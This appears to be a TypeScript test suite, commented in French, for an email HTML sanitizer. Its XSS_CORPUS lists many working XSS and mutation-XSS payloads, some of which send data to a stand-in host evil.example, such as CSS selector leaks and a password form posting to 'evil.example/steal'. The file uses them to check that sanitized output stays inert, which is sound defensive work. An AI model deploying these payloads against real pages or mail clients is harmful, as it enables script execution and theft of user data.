Repository Public
1import assert from "node:assert/strict"2import { test } from "node:test"3import { JSDOM } from "jsdom"4import { buildReaderDocument, linkifyText, materializeImages, neutralizeCss, readerMarkup, rewriteRootSelectors, sanitizeEmailHtml, type SanitizeOptions, type SanitizedEmail } from "./sanitize"56const win = new JSDOM("<!doctype html>").window as unknown as NonNullable<SanitizeOptions["window"]>7const clean = (html: string, mode: "view" | "quote" = "view") => sanitizeEmailHtml(html, { window: win, mode })89const PNG = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNkYPhfDwAChwGA60e6kgAAAABJRU5ErkJggg=="1011/** Vérifie qu'un résultat ne peut ni exécuter de code ni charger quoi que ce soit à distance. */12function assertInert(s: SanitizedEmail, label: string) {13 const doc = new JSDOM(buildReaderDocument(s)).window.document14 const body = doc.body15 const forbidden = "script,iframe,frame,frameset,object,embed,applet,form,input,button,textarea,select,base,link,svg,math,video,audio,source,track,template,noscript,meta,style"16 assert.equal(body.querySelectorAll(forbidden).length, 0, `${label}: élément interdit dans le corps → ${body.innerHTML}`)17 assert.equal(doc.querySelectorAll("script,base,link,iframe,object,embed").length, 0, `${label}: élément actif dans le document`)18 for (const m of Array.from(doc.querySelectorAll("meta[http-equiv]"))) assert.equal(m.getAttribute("http-equiv"), "Content-Security-Policy", `${label}: meta http-equiv inattendu`)19 for (const el of Array.from(doc.querySelectorAll("*"))) {20 for (const a of Array.from(el.attributes)) {21 assert.ok(!/^on/i.test(a.name), `${label}: gestionnaire ${a.name}`)22 assert.ok(!["srcset", "action", "formaction", "background", "poster", "srcdoc", "ping", "xlink:href"].includes(a.name.toLowerCase()), `${label}: attribut ${a.name}`)23 assert.ok(!/^\s*(javascript|vbscript|livescript)\s*:/i.test(a.value.replace(/[\u0000-\u0020]/g, "")), `${label}: ${a.name}=${a.value}`)24 if (a.name === "src") assert.match(a.value, /^data:image\/(png|jpeg|gif|webp);base64,/, `${label}: src distant ${a.value}`)25 if (a.name === "href") assert.match(a.value, /^(https?:|mailto:|tel:)/, `${label}: href ${a.value}`)26 if (a.name === "style") assert.ok(!/url\s*\((?!\s*"data:image\/(png|jpeg|gif|webp))/i.test(a.value) && !/@import|expression\s*\(|behavior\s*:|-moz-binding/i.test(a.value), `${label}: style ${a.value}`)27 }28 if (el.tagName === "A" && el.hasAttribute("href")) {29 assert.equal(el.getAttribute("target"), "_blank", label)30 assert.match(el.getAttribute("rel") ?? "", /noopener/, label)31 assert.match(el.getAttribute("rel") ?? "", /noreferrer/, label)32 }33 }34 assert.ok(!/@import|expression\s*\(|behavior\s*:|-moz-binding|<\/?script|@font-face/i.test(s.css), `${label}: CSS dangereux → ${s.css}`)35 assert.ok(!/url\s*\((?!\s*"data:image\/(png|jpeg|gif|webp))/i.test(s.css), `${label}: url() CSS → ${s.css}`)36 assert.ok(!/https?:\/\/[^"'\s)]*\.(gif|png|jpe?g|css|js|woff2?)/i.test(s.css), `${label}: URL distante dans le CSS`)37}3839/** Le document produit, chargé par un navigateur qui EXÉCUTERAIT les scripts, ne définit pas window.pwned. */40function assertNoExecution(s: SanitizedEmail, label: string) {41 const dom = new JSDOM(buildReaderDocument(s).replace(/<meta http-equiv[^>]*>/, ""), { runScripts: "dangerously" })42 assert.equal((dom.window as unknown as { pwned?: unknown }).pwned, undefined, `${label}: du code s'est exécuté`)43}4445const XSS_CORPUS: [string, string][] = [46 ["script", `<p>a</p><script>window.pwned=1</script>`],47 ["script src", `<script src="https://evil.example/x.js"></script>`],48 ["script casse/espaces", `<ScRiPt >window.pwned=1</sCrIpT >`],49 ["img onerror", `<img src=x onerror="window.pwned=1">`],50 ["img onerror sans guillemets", `<img src=x onerror=window.pwned=1>`],51 ["img onload data", `<img src="${PNG}" onload="window.pwned=1">`],52 ["javascript: href", `<a href="javascript:window.pwned=1">clic</a>`],53 ["javascript: entités", `<a href="javascript:window.pwned=1">clic</a>`],54 ["javascript: entités hex sans ;", `<a href="javascript:window.pwned=1">clic</a>`],55 ["javascript: tabulation", `<a href="java\tscript:window.pwned=1">clic</a>`],56 ["javascript: retour de ligne", `<a href="java\nscript:window.pwned=1">clic</a>`],57 ["javascript: 	", `<a href="java	script:window.pwned=1">clic</a>`],58 ["javascript: espaces de tête", `<a href=" \u0001javascript:window.pwned=1">clic</a>`],59 ["JaVaScRiPt:", `<a href="JaVaScRiPt:window.pwned=1">clic</a>`],60 ["vbscript:", `<a href="vbscript:msgbox(1)">clic</a>`],61 ["data:text/html href", `<a href="data:text/html;base64,PHNjcmlwdD53aW5kb3cucHduZWQ9MTwvc2NyaXB0Pg==">clic</a>`],62 ["data:text/html img", `<img src="data:text/html,<script>window.pwned=1</script>">`],63 ["data:image/svg+xml img", `<img src="data:image/svg+xml;base64,PHN2ZyBvbmxvYWQ9IndpbmRvdy5wd25lZD0xIj4=">`],64 ["svg onload", `<svg onload="window.pwned=1"><circle r=1 /></svg>`],65 ["svg script", `<svg><script>window.pwned=1</script></svg>`],66 ["svg animate href", `<svg><a><animate attributeName=href values="javascript:window.pwned=1" /><text>x</text></a></svg>`],67 ["svg foreignObject", `<svg><foreignObject><iframe srcdoc="<script>parent.pwned=1</script>"></iframe></foreignObject></svg>`],68 ["math", `<math><mtext><table><mglyph><style><!--</style><img title="--><img src=1 onerror=window.pwned=1>">`],69 ["iframe srcdoc", `<iframe srcdoc="<script>parent.pwned=1</script>"></iframe>`],70 ["iframe src", `<iframe src="https://evil.example/"></iframe>`],71 ["iframe javascript", `<iframe src="javascript:parent.pwned=1"></iframe>`],72 ["object", `<object data="https://evil.example/x.swf"></object>`],73 ["embed", `<embed src="https://evil.example/x.swf">`],74 ["form action", `<form action="https://evil.example/steal" method="post"><input name="password" type="password"><button>OK</button></form>`],75 ["form javascript", `<form action="javascript:window.pwned=1"><input type=submit></form>`],76 ["button formaction", `<form><button formaction="javascript:window.pwned=1">x</button></form>`],77 ["input image", `<input type="image" src="https://evil.example/t.gif" onerror="window.pwned=1">`],78 ["meta refresh", `<meta http-equiv="refresh" content="0;url=https://evil.example/">`],79 ["meta refresh javascript", `<meta http-equiv="refresh" content="0;url=javascript:window.pwned=1">`],80 ["base href", `<base href="https://evil.example/"><a href="/x">x</a><img src="/pixel.gif">`],81 ["link stylesheet", `<link rel="stylesheet" href="https://evil.example/x.css">`],82 ["link prefetch", `<link rel="prefetch" href="https://evil.example/t">`],83 ["style @import", `<style>@import url("https://evil.example/x.css");</style><p>a</p>`],84 ["style @import sans url", `<style>@import 'https://evil.example/x.css';</style>`],85 ["style @import échappé", `<style>@\\69mport url(https://evil.example/x.css);</style>`],86 ["style url exfiltration", `<style>input[value^="a"]{background:url(https://evil.example/leak?a)} body{background-image:url('https://evil.example/t.gif')}</style>`],87 ["style url échappé", `<style>p{background:u\\72l(https://evil.example/t.gif)}</style><p>a</p>`],88 ["style url commentaire", `<style>p{background:ur/**/l(https://evil.example/t.gif)}</style>`],89 ["style image-set", `<style>p{background-image:image-set("https://evil.example/t.gif" 1x)}</style>`],90 ["style @font-face", `<style>@font-face{font-family:x;src:url(https://evil.example/f.woff2)}</style>`],91 ["style expression", `<p style="width:expression(window.pwned=1)">a</p>`],92 ["style behavior", `<p style="behavior:url(https://evil.example/x.htc)">a</p>`],93 ["style -moz-binding", `<p style="-moz-binding:url(https://evil.example/x.xml#xss)">a</p>`],94 ["style attr url", `<div style="background:url(https://evil.example/t.gif)">a</div>`],95 ["style attr url échappé", `<div style="background:\\75\\72\\6c(https://evil.example/t.gif)">a</div>`],96 ["style fermeture", `<style>p{color:red}</style><script>window.pwned=1</script>`],97 ["style fermeture échappée", `<style>p{content:"\\3c/style\\3e\\3cscript\\3ewindow.pwned=1\\3c/script\\3e"}</style>`],98 ["background attr", `<table background="https://evil.example/t.gif"><tr><td background="https://evil.example/u.gif">a</td></tr></table>`],99 ["body background + onload", `<body background="https://evil.example/t.gif" onload="window.pwned=1"><p>a</p></body>`],100 ["img srcset", `<img srcset="https://evil.example/a.png 1x, https://evil.example/b.png 2x">`],101 ["picture source", `<picture><source srcset="https://evil.example/a.webp"><img src="https://evil.example/a.png"></picture>`],102 ["video poster", `<video poster="https://evil.example/p.png" src="https://evil.example/v.mp4" autoplay onloadstart="window.pwned=1"></video>`],103 ["audio", `<audio src="https://evil.example/a.mp3" onerror="window.pwned=1"></audio>`],104 ["details ontoggle", `<details open ontoggle="window.pwned=1"><summary>x</summary></details>`],105 ["marquee onstart", `<marquee onstart="window.pwned=1">x</marquee>`],106 ["autofocus onfocus", `<div tabindex=0 autofocus onfocus="window.pwned=1">x</div>`],107 ["a ping", `<a href="https://example.org/" ping="https://evil.example/track">x</a>`],108 ["area", `<map name="m"><area shape="rect" coords="0,0,9,9" href="javascript:window.pwned=1"></map><img usemap="#m" src="${PNG}">`],109 ["mXSS noscript", `<noscript><p title="</noscript><img src=x onerror=window.pwned=1>">`],110 ["mXSS title/textarea", `<textarea><img title="</textarea><img src=x onerror=window.pwned=1>"></textarea>`],111 ["mXSS listing", `<listing><img src=x onerror=window.pwned=1></listing>`],112 ["mXSS xmp", `<xmp><img alt="</xmp><img src=x onerror=window.pwned=1>"></xmp>`],113 ["mXSS form/math", `<form><math><mtext></form><form><mglyph><style></math><img src onerror=window.pwned=1>`],114 ["mXSS svg style", `<svg></p><style><a id="</style><img src=1 onerror=window.pwned=1>">`],115 ["mXSS select template", `<select><template><style><!--</style><a rel="--></style></template></select><img src=x onerror=window.pwned=1>">`],116 ["commentaire conditionnel", `<!--[if gte IE 4]><script>window.pwned=1</script><![endif]-->`],117 ["template", `<template><script>window.pwned=1</script></template>`],118 ["isindex / keygen", `<isindex action="javascript:window.pwned=1" type=image><keygen autofocus onfocus="window.pwned=1">`],119 ["xlink:href", `<svg><a xlink:href="javascript:window.pwned=1"><text>x</text></a></svg>`],120 ["use href", `<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg'><script>window.pwned=1</script></svg>#x" /></svg>`],121 ["dom clobbering", `<form id="location"></form><img name="cookie"><a id="defaultView" href="https://evil.example/">x</a>`],122 ["attribut d'espace de noms", `<p xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="javascript:window.pwned=1">x</p>`],123 ["pixel espion 1x1", `<img src="https://tracker.example/open.gif?id=42" width="1" height="1">`],124 ["pixel espion style", `<img src="https://tracker.example/o.gif" style="width:1px;height:1px">`],125 ["pixel espion caché", `<img src="https://tracker.example/o.gif" style="display:none">`],126 ["image distante", `<img src="https://example.org/photo.jpg" alt="photo">`],127 ["image protocole relatif", `<img src="//example.org/photo.jpg">`],128 ["image ftp / file", `<img src="ftp://example.org/a.png"><img src="file:///etc/passwd">`],129]130131test("corpus XSS : rien ne survit, rien ne peut se charger à distance", () => {132 for (const [label, html] of XSS_CORPUS) {133 for (const mode of ["view", "quote"] as const) {134 const s = clean(html, mode)135 assertInert(s, `${label} [${mode}]`)136 assertNoExecution(s, `${label} [${mode}]`)137 }138 }139})140141test("le corpus entier concaténé reste inerte", () => {142 const s = clean(XSS_CORPUS.map((c) => c[1]).join("\n"))143 assertInert(s, "corpus concaténé")144 assertNoExecution(s, "corpus concaténé")145})146147test("images distantes : neutralisées par défaut, restituées seulement en data: sur demande", () => {148 const s = clean(`<p>Bonjour</p><img src="https://example.org/pixel.gif"><img src="https://example.org/pixel.gif" alt="bis"><img src="http://example.net/a.png?x=1&y=2">`)149 assert.deepEqual(s.remoteImages, ["https://example.org/pixel.gif", "http://example.net/a.png?x=1&y=2"])150 assert.ok(!s.body.includes("example.org"), "aucune URL distante dans le corps")151 assert.equal((s.body.match(/data-spm-remote="0"/g) ?? []).length, 2)152 assert.ok(!/\ssrc=/.test(s.body))153 const shown = materializeImages(s.body, { remote: new Map([[0, PNG]]) })154 assert.equal((shown.match(/src="data:image\/png/g) ?? []).length, 2)155 assert.ok(shown.includes('data-spm-remote="1"'), "l'image non récupérée reste neutralisée")156 // une « image » qui ne serait pas une URL data: matricielle est refusée157 assert.equal(materializeImages(s.body, { remote: new Map([[0, "https://evil.example/x.png"]]) }), s.body)158 assert.equal(materializeImages(s.body, { remote: new Map([[0, 'data:image/png;base64,AAA" onerror="x']]) }), s.body)159 assert.equal(materializeImages(s.body, { remote: new Map([[0, "data:image/svg+xml;base64,AAAA"]]) }), s.body)160})161162test("pixels espions : retirés et comptés, jamais proposés au chargement", () => {163 const s = clean(`<img src="https://t.example/o.gif" width=1 height=1><img src="https://t.example/p.gif" height="0" width="0"><img src="https://example.org/logo.png" width="120" height="40">`)164 assert.equal(s.trackers, 2)165 assert.deepEqual(s.remoteImages, ["https://example.org/logo.png"])166})167168test("images cid: marquées pour résolution par la passerelle ; data: matricielles conservées", () => {169 const s = clean(`<img src="cid:logo@x"><img src="CID:logo@x"><img src="${PNG}">`)170 assert.deepEqual(s.cidImages, ["logo@x"])171 assert.equal((s.body.match(/data-spm-cid="0"/g) ?? []).length, 2)172 assert.ok(s.body.includes(`src="${PNG}"`))173})174175test("liens : nouvel onglet, noopener noreferrer, destination réelle en infobulle", () => {176 const s = clean(`<a href="https://example.org/a?b=1" target="_self" rel="opener">Voir</a> <a href="mailto:a@b.ca">écrire</a> <a href="/relatif">rel</a> <a href="ftp://x/y">ftp</a>`)177 const doc = new JSDOM(s.body).window.document178 const [a, m, r, f] = Array.from(doc.querySelectorAll("a"))179 assert.equal(a.getAttribute("href"), "https://example.org/a?b=1")180 assert.equal(a.getAttribute("target"), "_blank")181 assert.equal(a.getAttribute("rel"), "noopener noreferrer nofollow")182 assert.equal(a.getAttribute("title"), "https://example.org/a?b=1")183 assert.equal(m.getAttribute("href"), "mailto:a@b.ca")184 assert.equal(r.hasAttribute("href"), false, "lien relatif retiré")185 assert.equal(f.hasAttribute("href"), false, "ftp retiré")186})187188test("hameçonnage : libellé qui désigne un autre domaine que la destination", () => {189 const s = clean(`<a href="https://evil.example/login">https://www.desjardins.com/connexion</a> <a href="https://www.desjardins.com/x">desjardins.com</a> <a href="https://user:pw@evil.example/">ici</a> <a href="https://xn--pypal-4ve.com/">PayPal</a>`)190 assert.equal(s.linkWarnings, 3)191 const doc = new JSDOM(s.body).window.document192 const warns = Array.from(doc.querySelectorAll(".spm-link-warn"))193 assert.equal(warns.length, 3)194 assert.match(warns[0].textContent ?? "", /evil\.example/)195 assert.equal(doc.querySelectorAll("a.spm-link-suspect").length, 3)196})197198test("CSS : url(), @import, expression neutralisés ; data: matricielle conservée ; échappements décodés", () => {199 assert.equal(neutralizeCss(`a{background:url(https://x.example/a.png)}`).css, "a{background:none}")200 assert.equal(neutralizeCss(`a{background:url( "https://x.example/a.png" ) no-repeat}`).blocked, 1)201 assert.ok(!/x\.example/.test(neutralizeCss(`a{background:u\\72 l(https://x.example/a.png)}`).css))202 assert.ok(!/x\.example/.test(neutralizeCss(`a{background:\\75\\72\\6c(https://x.example/a.png)}`).css))203 assert.ok(!/x\.example/.test(neutralizeCss(`a{background:URL(//x.example/a.png)}`).css))204 assert.ok(!/import/i.test(neutralizeCss(`@import "https://x.example/a.css"; p{color:red}`).css))205 assert.ok(!/import/i.test(neutralizeCss(`@im\\port url(x.css); p{color:red}`).css))206 assert.match(neutralizeCss(`p{color:red;font-weight:bold}`).css, /color:red;font-weight:bold/)207 assert.match(neutralizeCss(`p{background:url(${PNG})}`).css, /url\("data:image\/png;base64,/)208 assert.ok(!/svg/.test(neutralizeCss(`p{background:url(data:image/svg+xml;base64,AAAA)}`).css))209 assert.ok(!neutralizeCss(`p{content:"\\3c/style>"}`).css.includes("<"))210 assert.equal(neutralizeCss(`a{b:url(https://x.example/1)} c{d:url('https://x.example/2')}`).blocked, 2)211})212213test("styles du message : conservés (sans ressources) et rattachés à l'enveloppe du corps", () => {214 const s = clean(`<html><head><style>body{margin:0;background:#eee} .t{color:#c00} html, body.x > p{font-size:12px}</style></head><body bgcolor="#ffffff" style="padding:8px"><p class="t">a</p></body></html>`)215 assert.match(s.css, /\.spm-body\{margin:0;background:#eee\}/)216 assert.match(s.css, /\.t\{color:#c00\}/)217 assert.match(s.css, /\.spm-body, \.spm-body\.x > p/)218 assert.match(s.bodyStyle, /background-color:#ffffff/)219 assert.match(s.bodyStyle, /padding:8px/)220 assert.match(readerMarkup(s), /^<div class="spm-root"><div class="spm-body" style="[^"]*padding:8px[^"]*"><p class="t">a<\/p>/)221 assert.equal(rewriteRootSelectors("tbody td{a:b} .body{c:d} #html{e:f}"), "tbody td{a:b} .body{c:d} #html{e:f}")222})223224test("mode citation : ni feuille de style, ni classe, ni mise en page qui déborde, ni image distante", () => {225 const s = clean(`<style>*{display:none}</style><div class="x" id="y" style="position:fixed;top:0;color:red;z-index:99">a<img src="https://example.org/a.png"><img src="cid:z"></div>`, "quote")226 assert.equal(s.css, "")227 assert.ok(!/class=|id=|position|z-index|<img|<style/.test(s.body), s.body)228 assert.match(s.body, /color:red/)229})230231test("document de lecture : CSP interne restrictive, aucun script", () => {232 const html = buildReaderDocument(clean(`<p>Bonjour <b>à</b> tous</p>`))233 assert.match(html, /<meta http-equiv="Content-Security-Policy" content="default-src 'none'; img-src data:; style-src 'unsafe-inline'/)234 assert.ok(!/<script/i.test(html))235 assert.match(html, /<p>Bonjour <b>à<\/b> tous<\/p>/)236})237238test("contenu légitime préservé", () => {239 const s = clean(`<table width="600" cellpadding="4"><tr><td align="center" style="color:#333;font-size:14px"><h1>Titre</h1><p>Texte <i>riche</i> & accents : é à ç €</p><ul><li>un</li></ul><blockquote>cité</blockquote></td></tr></table>`)240 for (const frag of ["<h1>Titre</h1>", "<i>riche</i>", "é à ç €", "<li>un</li>", "<blockquote>cité</blockquote>", 'align="center"', "color:#333"]) assert.ok(s.body.includes(frag), frag)241})242243test("texte brut : URL et adresses deviennent des liens sûrs", () => {244 const seg = linkifyText("Voir https://example.org/a?b=1. Écrire à a.b@example.org ou javascript:alert(1)")245 assert.deepEqual(seg.filter((s) => s.kind === "link").map((s) => (s.kind === "link" ? s.href : "")), ["https://example.org/a?b=1", "mailto:a.b@example.org"])246 assert.equal(seg.map((s) => s.text).join(""), "Voir https://example.org/a?b=1. Écrire à a.b@example.org ou javascript:alert(1)")247})248